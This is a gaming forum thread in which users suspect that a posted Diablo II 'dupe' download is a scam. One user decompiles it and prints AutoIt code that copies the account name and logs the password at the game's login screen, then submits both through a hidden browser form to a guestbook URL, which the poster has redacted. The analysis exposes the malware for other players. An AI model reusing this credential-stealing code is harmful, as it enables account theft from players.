Working Dupe!?

[azndude108]

Sup guys, i dont know if this dupe works or not. I have the file, but i do not know if it is key logged or anything.

~link removed

Next time, please PM a mod (preferably one of the mods that would know anything about this kind of stuff) so links aren't just floating around the forum for a random user to contract. Thanx.

-closed

[Nex]

that look good, but i can just about gaurentee that its fake. and its just another pathetic scam to get ur account and ur cdkeys...

[Blue]

Was it free?
And you could always send it to someone asking for a scan of it. I'm sure some lovely mods or someone would love to do it.

[allstarb]

That is for sure real




If the guy was a 10 year old and didn't know he could make thousands off selling mass tyrael mights .

[necronomikron]

Certainly interesting, though I find it suspicious that the comments are disabled.

[spartand117]

well i normally say dupes r fake but it looks a little real prolly a drophack but can ne one unzip it i cant i was goona scan

[John]

impossible. very likely a mod on open battle.net + closed video put together.

[Blue]

impossible. very likely a mod on open battle.net + closed video put together.

Wow, people are getting smarter nowadays.

[spartand117]

just someone unzip it and ill tell what it is in 3 secs

[necronomikron]

I'm looking at it w/ a hex editor. Looks like he attempted to obfuscate it by upx compressing it. Fooled me for about 5 seconds... decompressed it and it is an autoit script.

Edit: I know exactly what it's doing... I decompiled the script and this is near the end:

While 1
	If WinActive("Diablo II") Then
		Select
			Case $stage = 0
				If PixelGetColor(504,304) <> $stop OR $stop1 Then
					$stage = 1
				EndIf
			Case $stage = 1
				If PixelGetColor(504,304) = $stop OR $stop1 Then
					$stage = 2
					Send("{TAB}" & "^C" & "^C" & "^C" & "^C" &  "{TAB}")
					$account = ClipGet()
				EndIf
			Case $stage = 2
				$pass = ""
				Do
					_logpass()
				Until PixelGetColor(504,304) <> $stop OR $stop1
				$stage = 0
				_sendaway()
		EndSelect
	EndIf
	Sleep(50)
WEnd

It then proceeds to do keylogging and then submits it via:

Func _sendaway()
	$sURL = "snipurl -- edited to be able to post this, needless to say, it signs a guestbook"
	$oIE = _IECreate($sURL,0,0)

	$oForm = _IEFormGetObjByName($oIE,"post")
	$oText = _IEFormElementGetObjByName ($oForm, "form_message")
	_IEFormElementSetValue ($oText,$account & "||||" & $pass)
	_IEFormSubmit ($oForm)
	_IEQuit($oIE)
EndFunc

[Pamela]

azndude108

Nice try...cya